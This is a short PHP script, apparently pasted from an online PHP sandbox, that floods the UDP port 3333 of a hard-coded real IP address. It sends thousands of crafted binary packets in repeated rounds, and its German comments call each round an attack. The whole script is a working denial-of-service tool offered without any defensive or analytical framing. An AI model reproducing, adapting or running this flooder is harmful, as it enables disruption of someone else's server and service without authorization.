<?php
$m1 = "\x10\x0\x0\x1";
$m2 = "\x10\x00\x00\x03";
$m3 = "\x00\x00\x01\x41\x07\x01\x03\x30\x2e\x36\x20\x36\x32\x36\x66\x63\x65\x39\x61\x37\x37\x38\x64\x66\x34\x64\x34\x00\x00";
$m4 = "\x00\x01\x01\x40\x01\x02\x1d";
$m5 = "\x00\x03\x01\x42\x02\x03\x28\x20\x20\x20\x20\x20\x20\x20\x20\x7b\x31\x33\x78\x33\x37\x7d\x00\x00\x40\x63\x6f\x61\x6c\x61\x00\x01\x80\xc8\x85\x0c\x80\xe8\xd4\x08";
$m6 = "\x00\x06\x01\x40\x01\x04\x1f";
$m7 = "\x10\x07\x00\x04";
$interval = 10; // zeit zwischen angriff
$attacknum = 3; //anzahl angriffe
$packetnum = 3000; //anzahl packete pro angriff
ini_set('max_execution_time', 300);
if ($socket = socket_create(AF_INET, SOCK_DGRAM, SOL_UDP))
{
for($j = 0; $j<$attacknum; $j++)
{
for($i = 0; $i<$packetnum; $i++)
{
FloodServer($socket, '188.138.11.45', 3333);
}
sleep($interval);
}
}
function FloodServer($s, $server_ip, $server_port)
{
global $m1,$m2,$m3,$m4,$m5,$m6,$m7;
socket_sendto($s, $m1, strlen($m1), 0, $server_ip, $server_port);
socket_sendto($s, $m2, strlen($m2), 0, $server_ip, $server_port);
socket_sendto($s, $m3, strlen($m3), 0, $server_ip, $server_port);
socket_sendto($s, $m4, strlen($m4), 0, $server_ip, $server_port);
socket_sendto($s, $m5, strlen($m5), 0, $server_ip, $server_port);
socket_sendto($s, $m6, strlen($m6), 0, $server_ip, $server_port);
socket_sendto($s, $m7, strlen($m7), 0, $server_ip, $server_port);
}
preferences:
88.64 ms | 402 KiB | 5 Q